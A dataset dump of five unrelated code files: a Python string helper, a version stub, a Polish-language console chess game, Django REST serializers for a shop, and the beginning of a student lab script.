index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
10,000 | 7a52f31939ad767d003f3364dd387f3ff1422c8a |
class StringUtil:
@staticmethod
def get_words(sentence=None, delimiter=" "):
words = None
if sentence is None:
raise Exception("No input to the function")
else:
if delimiter in sentence:
words = sentence.split(" ")
else:
words = sentence
return words |
10,001 | 7c2d4c61b4422adb7fe94e0932c18085351a39eb | __version__ = '0.9.8-dev'
# from HTMLr.core import HTMLObject
# from HTMLr.templates import Card, Combos, Table
|
10,002 | 109a83de24b4c4526b0bb94941441d7ccbd2824e | import fun
### białe
## pionki [x,y]
b_p_1 = [1, 2, 1, 'p']
b_p_2 = [2, 2, 1, 'p']
b_p_3 = [3, 2, 1, 'p']
b_p_4 = [4, 2, 1, 'p']
b_p_5 = [5, 2, 1, 'p']
b_p_6 = [6, 2, 1, 'p']
b_p_7 = [7, 2, 1, 'p']
b_p_8 = [8, 2, 1, 'p']
## figury [x,y]
# wieża
b_wie_l = [1, 1, 1, 'w']
b_wie_p = [8, 1, 1, 'w']
# Skoczek
b_skocz_l = [2, 1, 1, 's']
b_skocz_p = [7, 1, 1, 's']
# goniec
b_gon_l = [3, 1, 1, 'g']
b_gon_p = [6, 1, 1, 'g']
# król królowa
b_hetman = [4, 1, 1, 'h']
b_krol = [5, 1, 1, 'k']
biale_lista = ([b_krol] + [b_hetman]
+ [b_p_1] + [b_p_2] + [b_p_3] + [b_p_4] + [b_p_5] + [b_p_6] + [b_p_7] + [b_p_8]
+ [b_wie_l] + [b_wie_p]
+ [b_skocz_l] + [b_skocz_p]
+ [b_gon_l] + [b_gon_p])
### czarne
## pionki [x,y]
c_p_1 = [1, 7, 1, 'p']
c_p_2 = [2, 7, 1, 'p']
c_p_3 = [3, 7, 1, 'p']
c_p_4 = [4, 7, 1, 'p']
c_p_5 = [5, 7, 1, 'p']
c_p_6 = [6, 7, 1, 'p']
c_p_7 = [7, 7, 1, 'p']
c_p_8 = [8, 7, 1, 'p']
## figury [x,y]
# wieża
c_wie_l = [1, 8, 1, 'w']
c_wie_p = [8, 8, 1, 'w']
# Skoczek
c_skocz_l = [2, 8, 1, 's']
c_skocz_p = [7, 8, 1, 's']
# goniec
c_gon_l = [3, 8, 1, 'g']
c_gon_p = [6, 8, 1, 'g']
# król królowa
c_hetman = [5, 8, 1, 'h']
c_krol = [4, 8, 1, 'k']
czarne_lista = ([c_krol] + [c_hetman]
+ [c_p_1] + [c_p_2] + [c_p_3] + [c_p_4] + [c_p_5] + [c_p_6] + [c_p_7] + [c_p_8]
+ [c_wie_l] + [c_wie_p]
+ [c_skocz_l] + [c_skocz_p]
+ [c_gon_l] + [c_gon_p])
############################################ szachownica
print(' A | B | C | D | E | F | G | H |')
for y_chessboard in range(8, 0, -1):
print(' ____ ____ ____ ____ ____ ____ ____ ____')
print(y_chessboard, '|', end='')
for x_chessboard in range(1, 9, 1):
kind = None
for x, y, zywe, rodzaj in biale_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'b'
break
for x, y, zywe, rodzaj in czarne_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'c'
break
if kind == None:
print(f' ', end='')
elif kind != None:
print(f' {color}{kind} ', end='')
print('|', end='')
print('')
print(' ____ ____ ____ ____ ____ ____ ____ ____')
##################################################################### gra
while biale_lista[0][2] == 1 and czarne_lista[0][2] == 1:
legit = False
while legit == False:
print('Ruch białego gracza.')
start = input('Wybierz figurę (np b2): ')
x_litera_start = fun.znak_do_liczby(start[0])
y_liczba_start = int(start[1])
a = 0
rodzaj_figury = ''
for x, y, zywy, rodzaj in biale_lista:
if x == x_litera_start and y == y_liczba_start and zywy == 1:
rodzaj_figury = rodzaj
break
a += 1
stop = input('Na które pole przesuwasz (np b4)? ')
x_litera_stop = fun.znak_do_liczby(stop[0])
y_liczba_stop = int(stop[1])
ruch = None
biala_figura = None
czarne_figura = None
for x, y, zywy, rodzaj in biale_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
biala_figura = 1
break
c = 0
for x, y, zywy, rodzaj in czarne_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
czarne_figura = 1
break
c += 1
########################################################################################## pionki
######### ruch początkowy
if rodzaj_figury == 'p' and y_liczba_start == 2 and y_liczba_stop == biale_lista[a][1] + 2:
for x, y, zywy, rodzaj in biale_lista:
if (y == y_liczba_start + 1 or y == y_liczba_start + 2) and x == x_litera_start and zywy == 1:
ruch = 0
for x, y, zywy, rodzaj in czarne_lista:
if (y == y_liczba_start + 1 or y == y_liczba_start + 2) and x == x_litera_start and zywy == 1:
ruch = 0
if ruch != 0:
biale_lista[a][1] = biale_lista[a][1] + 2
legit = True
######### ruch zwykły
elif rodzaj_figury == 'p' and x_litera_start == x_litera_stop and y_liczba_stop == biale_lista[a][
1] + 1 and zywy == 1:
for x, y, zywy, rodzaj in biale_lista:
if y == y_liczba_start + 1 and x == x_litera_start and zywy == 1:
ruch = 0
for x, y, zywy, rodzaj in czarne_lista:
if y == y_liczba_start + 1 and x == x_litera_start and zywy == 1:
ruch = 0
if ruch != 0:
biale_lista[a][1] = biale_lista[a][1] + 1
legit = True
######### bicie
elif rodzaj_figury == 'p' and abs(x_litera_start - x_litera_stop) == 1 and y_liczba_stop == biale_lista[a][1] + 1:
for x, y, zywy, rodzaj in biale_lista:
if y + 1 == y_liczba_stop and (x + 1 == x_litera_stop or x - 1 == x_litera_stop) and zywy == 1:
ruch = 0
for x, y, zywy, rodzaj in czarne_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
biale_lista[a][0:2] = x, y
czarne_lista[c][2] = 0
legit = True
######## Zmiana figury
if rodzaj_figury == 'p' and biale_lista[a][1] == 8 and biale_lista[a][2] == 1:
zmiana_figury = input('Podaj na jaką figurę chcesz zmienić pionka. [g]oniec, [k]rólowa, [s]koczek, [w]ieża')
biale_lista[a][3] = zmiana_figury
########################################################################################## wieża
if rodzaj_figury == 'w' and (x_litera_start == x_litera_stop or y_liczba_start == y_liczba_stop)\
and not (x_litera_start == x_litera_stop and y_liczba_start == y_liczba_stop):
if y_liczba_start - y_liczba_stop > 0:
poczatek = y_liczba_stop
koniec = y_liczba_start
znak = 'y'
elif y_liczba_start - y_liczba_stop < 0:
poczatek = y_liczba_start
koniec = y_liczba_stop
znak = 'y'
elif x_litera_start - x_litera_stop > 0:
poczatek = x_litera_stop
koniec = x_litera_start
znak = 'x'
elif x_litera_start - x_litera_stop < 0:
poczatek = x_litera_start
koniec = x_litera_stop
znak = 'x'
######### bicie
if czarne_figura == 1 and 1==1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
######### ruch
if czarne_figura != 1 and biala_figura != 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
if ruch != 0 and czarne_figura == 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif ruch != 0 and biala_figura != 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## skoczek
if rodzaj_figury == 's' and \
(abs(x_litera_start - x_litera_stop) == 2 and abs(y_liczba_start - y_liczba_stop) == 1) \
or (abs(x_litera_start - x_litera_stop) == 1 and abs(y_liczba_start - y_liczba_stop) == 2):
######### ruch & bicie
if czarne_figura == 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif biala_figura != 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## goniec
if rodzaj_figury == 'g' and abs(x_litera_start - x_litera_stop) == abs(y_liczba_start - y_liczba_stop):
d = 1
liczba_ruchow = abs(y_liczba_start - y_liczba_stop)
##### bicie i ruch
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in biale_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
d += 1
d = 1
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in czarne_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
elif ruch == 0:
break
d += 1
if czarne_figura == 1 and ruch != 0:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif biala_figura != 1 and ruch != 0:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## hetman
if rodzaj_figury == 'h' and (x_litera_start == x_litera_stop or y_liczba_start == y_liczba_stop) \
and not (x_litera_start == x_litera_stop and y_liczba_start == y_liczba_stop):
if y_liczba_start - y_liczba_stop > 0:
poczatek = y_liczba_stop
koniec = y_liczba_start
znak = 'y'
elif y_liczba_start - y_liczba_stop < 0:
poczatek = y_liczba_start
koniec = y_liczba_stop
znak = 'y'
elif x_litera_start - x_litera_stop > 0:
poczatek = x_litera_stop
koniec = x_litera_start
znak = 'x'
elif x_litera_start - x_litera_stop < 0:
poczatek = x_litera_start
koniec = x_litera_stop
znak = 'x'
######### bicie
if czarne_figura == 1 and 1 == 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
######### ruch
if czarne_figura != 1 and biala_figura != 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
if ruch != 0 and czarne_figura == 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif ruch != 0 and biala_figura != 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
elif rodzaj_figury == 'h' and abs(x_litera_start - x_litera_stop) == abs(y_liczba_start - y_liczba_stop):
d = 1
liczba_ruchow = abs(y_liczba_start - y_liczba_stop)
##### bicie i ruch
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in biale_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
d += 1
d = 1
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in czarne_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
elif ruch == 0:
break
d += 1
if czarne_figura == 1 and ruch != 0:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif biala_figura != 1 and ruch != 0:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## krol
if rodzaj_figury == 'k' and abs(y_liczba_start - y_liczba_stop) <= 1 and abs(x_litera_start-x_litera_stop) <= 1:
if czarne_figura == 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
czarne_lista[c][2] = 0
legit = True
elif biala_figura != 1:
biale_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
if legit == False:
print('Wykonałeś niedozwolony ruch. Powtórz go!')
############################################################################################################################################ czarny
if czarne_lista[0][2] == 0:
break
############################################ szachownica
print(' A | B | C | D | E | F | G | H |')
for y_chessboard in range(8, 0, -1):
print(' ____ ____ ____ ____ ____ ____ ____ ____')
print(y_chessboard, '|', end='')
# print('|', end='')
for x_chessboard in range(1, 9, 1):
kind = None
for x, y, zywe, rodzaj in biale_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'b'
break
for x, y, zywe, rodzaj in czarne_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'c'
break
if kind == None:
print(f' ', end='')
elif kind != None:
print(f' {color}{kind} ', end='')
print('|', end='')
print('')
print(' ____ ____ ____ ____ ____ ____ ____ ____')
legit = False
while legit == False:
print('Ruch czarnego gracza.')
start = input('Wybierz figurę (np b2): ')
x_litera_start = fun.znak_do_liczby(start[0])
y_liczba_start = int(start[1])
a = 0
rodzaj_figury = ''
for x, y, zywy, rodzaj in czarne_lista:
if x == x_litera_start and y == y_liczba_start and zywy == 1:
rodzaj_figury = rodzaj
break
a += 1
stop = input('Na które pole przesuwasz (np b4)? ')
x_litera_stop = fun.znak_do_liczby(stop[0])
y_liczba_stop = int(stop[1])
ruch = None
biala_figura = None
czarne_figura = None
for x, y, zywy, rodzaj in czarne_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
czarne_figura = 1
break
c = 0
for x, y, zywy, rodzaj in biale_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
biala_figura = 1
break
c += 1
########################################################################################## pionki
######### ruch początkowy
if rodzaj_figury == 'p' and y_liczba_start == 7 and y_liczba_stop == czarne_lista[a][1] - 2:
for x, y, zywy, rodzaj in czarne_lista:
if (y == y_liczba_start - 1 or y == y_liczba_start - 2) and x == x_litera_start and zywy == 1:
ruch = 0
for x, y, zywy, rodzaj in biale_lista:
if (y == y_liczba_start - 1 or y == y_liczba_start - 2) and x == x_litera_start and zywy == 1:
ruch = 0
if ruch != 0:
czarne_lista[a][1] = czarne_lista[a][1] - 2
legit = True
######### ruch zwykły
elif rodzaj_figury == 'p' and x_litera_start == x_litera_stop and y_liczba_stop == czarne_lista[a][
1] - 1 and zywy == 1:
for x, y, zywy, rodzaj in czarne_lista:
if y == y_liczba_start - 1 and x == x_litera_start and zywy == 1:
ruch = 0
break
for x, y, zywy, rodzaj in biale_lista:
if y == y_liczba_start - 1 and x == x_litera_start and zywy == 1:
ruch = 0
break
if ruch != 0:
czarne_lista[a][1] = czarne_lista[a][1] - 1
legit = True
######### bicie
elif rodzaj_figury == 'p' and abs(x_litera_start - x_litera_stop) == 1 and y_liczba_stop == czarne_lista[a][1] - 1:
for x, y, zywy, rodzaj in czarne_lista:
if y == y_liczba_stop - 1 and (x + 1 == x_litera_stop or x - 1 == x_litera_stop) and zywy == 1:
ruch = 0
for x, y, zywy, rodzaj in biale_lista:
if x == x_litera_stop and y == y_liczba_stop and zywy == 1:
czarne_lista[a][0:2] = x, y
biale_lista[c][2] = 0
legit = True
######### wyjątki
if rodzaj_figury == 'p' and czarne_lista[a][1] == 1 and czarne_lista[a][2] == 1:
zmiana_figury = input('Podaj na jaką figurę chcesz zmienić pionka. [g]oniec, [k]rólowa, [s]koczek, [w]ieża')
czarne_lista[a][3] = zmiana_figury
########################################################################################## wieża
if rodzaj_figury == 'w' and (x_litera_start == x_litera_stop or y_liczba_start == y_liczba_stop) \
and not (x_litera_start == x_litera_stop and y_liczba_start == y_liczba_stop):
if y_liczba_start - y_liczba_stop > 0:
poczatek = y_liczba_stop
koniec = y_liczba_start
znak = 'y'
elif y_liczba_start - y_liczba_stop < 0:
poczatek = y_liczba_start
koniec = y_liczba_stop
znak = 'y'
elif x_litera_start - x_litera_stop > 0:
poczatek = x_litera_stop
koniec = x_litera_start
znak = 'x'
elif x_litera_start - x_litera_stop < 0:
poczatek = x_litera_start
koniec = x_litera_stop
znak = 'x'
######### bicie
if biala_figura == 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
######### ruch
if czarne_figura != 1 and biala_figura != 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
if ruch != 0 and biala_figura == 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif ruch != 0 and czarne_figura != 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## skoczek
if rodzaj_figury == 's' and \
(abs(x_litera_start - x_litera_stop) == 2 and abs(y_liczba_start - y_liczba_stop) == 1) \
or (abs(x_litera_start - x_litera_stop) == 1 and abs(y_liczba_start - y_liczba_stop) == 2):
######### ruch & bicie
if biala_figura == 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif czarne_figura != 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## goniec
if rodzaj_figury == 'g' and abs(x_litera_start - x_litera_stop) == abs(y_liczba_start - y_liczba_stop):
d = 1
liczba_ruchow = abs(y_liczba_start - y_liczba_stop)
##### bicie i ruch
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in biale_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
d += 1
d = 1
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in czarne_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
elif ruch == 0:
break
d += 1
if biala_figura == 1 and ruch != 0:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif czarne_figura != 1 and ruch != 0:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## hetman
if rodzaj_figury == 'h' and (x_litera_start == x_litera_stop or y_liczba_start == y_liczba_stop) \
and not (x_litera_start == x_litera_stop and y_liczba_start == y_liczba_stop):
if y_liczba_start - y_liczba_stop > 0:
poczatek = y_liczba_stop
koniec = y_liczba_start
znak = 'y'
elif y_liczba_start - y_liczba_stop < 0:
poczatek = y_liczba_start
koniec = y_liczba_stop
znak = 'y'
elif x_litera_start - x_litera_stop > 0:
poczatek = x_litera_stop
koniec = x_litera_start
znak = 'x'
elif x_litera_start - x_litera_stop < 0:
poczatek = x_litera_start
koniec = x_litera_stop
znak = 'x'
######### bicie
if biala_figura == 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
######### ruch
if czarne_figura != 1 and biala_figura != 1:
for iteracja in range(poczatek + 1, koniec):
for x, y, zywy, rodzaj in biale_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
for x, y, zywy, rodzaj in czarne_lista:
if x == iteracja and y == y_liczba_start and zywy == 1 and znak == 'x':
ruch = 0
break
if y == iteracja and x == x_litera_start and zywy == 1 and znak == 'y':
ruch = 0
break
if ruch != 0 and biala_figura == 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif ruch != 0 and biala_figura != 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
elif rodzaj_figury == 'h' and abs(x_litera_start - x_litera_stop) == abs(y_liczba_start - y_liczba_stop):
d = 1
liczba_ruchow = abs(y_liczba_start - y_liczba_stop)
##### bicie i ruch
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in biale_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
d += 1
d = 1
while d < liczba_ruchow:
for x, y, zywy, rodzaj_figury in czarne_lista:
if x_litera_stop > x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # right - up
if x == x_litera_start + d and y == y_liczba_start + d:
ruch = 0
break
elif x_litera_stop > x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # right - down
if x == x_litera_start + d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop < y_liczba_start and d <= liczba_ruchow: # left - down
if x == x_litera_start - d and y == y_liczba_start - d:
ruch = 0
break
elif x_litera_stop < x_litera_start and y_liczba_stop > y_liczba_start and d <= liczba_ruchow: # left - up
if x == x_litera_start - d and y == y_liczba_start + d:
ruch = 0
break
elif ruch == 0:
break
d += 1
if biala_figura == 1 and ruch != 0:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif czarne_figura != 1 and ruch != 0:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
########################################################################################## krol
if rodzaj_figury == 'k' and abs(y_liczba_start - y_liczba_stop) <= 1 and abs(x_litera_start - x_litera_stop) <= 1:
if biala_figura == 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
biale_lista[c][2] = 0
legit = True
elif czarne_figura != 1:
czarne_lista[a][0:2] = x_litera_stop, y_liczba_stop
legit = True
if biale_lista[0][2] == 0:
break
if legit == False:
print('Wykonałeś niedozwolony ruch. Powtórz go!')
############################################ szachownica
print(' A | B | C | D | E | F | G | H |')
for y_chessboard in range(8, 0, -1):
print(' ____ ____ ____ ____ ____ ____ ____ ____')
print(y_chessboard, '|', end='')
for x_chessboard in range(1, 9, 1):
kind = None
for x, y, zywe, rodzaj in biale_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'b'
break
for x, y, zywe, rodzaj in czarne_lista:
if y == y_chessboard and x == x_chessboard and zywe == 1:
kind = rodzaj
color = 'c'
break
if kind == None:
print(f' ', end='')
elif kind != None:
print(f' {color}{kind} ', end='')
print('|', end='')
print('')
print(' ____ ____ ____ ____ ____ ____ ____ ____')
if biale_lista[0][2] == 0:
print('Czarny wygrywa!')
else:
print('Biały wygrywa!') |
10,003 | d5f5a5f1a9a040f5fffa1421f8ee09e251050e4b | from rest_framework import serializers
from main.models import Category, Product, Wear, Food, Order, Cart
from auth_.serializers import ClientSerializer, CourierSerializer, StaffSerializer
class CategorySerializer(serializers.Serializer):
id = serializers.IntegerField()
name = serializers.CharField(max_length=30)
class ShortProductSerializer(serializers.ModelSerializer):
class Meta:
model = Product
fields = ('id', 'name', 'price', 'image')
class ProductSerializer(ShortProductSerializer):
class Meta(ShortProductSerializer.Meta):
model = Product
fields = ShortProductSerializer.Meta.fields + ('description', 'category')
class WearSerializer(ProductSerializer):
class Meta(ProductSerializer.Meta):
model = Wear
fields = ProductSerializer.Meta.fields + ('size', 'materials')
class FoodSerializer(ProductSerializer):
class Meta(ProductSerializer.Meta):
model = Food
fields = ProductSerializer.Meta.fields + ('ingredients',)
class GetOrderSerializer(serializers.ModelSerializer):
client = ClientSerializer()
courier = CourierSerializer()
products = ProductSerializer(many=True)
# is_delivered = serializers.BooleanField()
class Meta:
model = Order
fields = ('client', 'courier', 'products', 'is_delivered')
class OrderSerializer(serializers.ModelSerializer):
class Meta:
model = Order
fields = ('client', 'courier', 'products', 'is_delivered')
class CartSerializer(serializers.ModelSerializer):
client = ClientSerializer()
class Meta:
model = Cart
fields = ('products', 'client',)
class GetCartSerializer(serializers.ModelSerializer):
client = ClientSerializer()
products = ProductSerializer(many=True)
class Meta:
model = Cart
fields = ('products', 'client')
|
10,004 | 2dafcd5b1fa38f6d668b709b51501517efea191b | ##Authors: Whitney Huang, Mario Liu, Joe Zhang
##Lab 3
from pithy import *
import libMotorPhoton as lmp #motor photon interface
import libmae221
import numpy as np
from datetime import datetime as dt
import time
##############################################################
#THIS IS DAN'S DATA, USING PHOTON NAMED "007"
#time_start = 1478893676
#time_end = 1478893922
#date = 11/11/16
##############################################################
######################
##Variables/Constants#
######################
#Voltage supply = 10.00V
E1 = 60/11.62
E2 = 60/11.96
E3 = 60/11.69
ESyringeAvg = (E1+E2+E3)/3.
print "ESyringeAvg: %f" % (ESyringeAvg)
print ""
#cold water pump
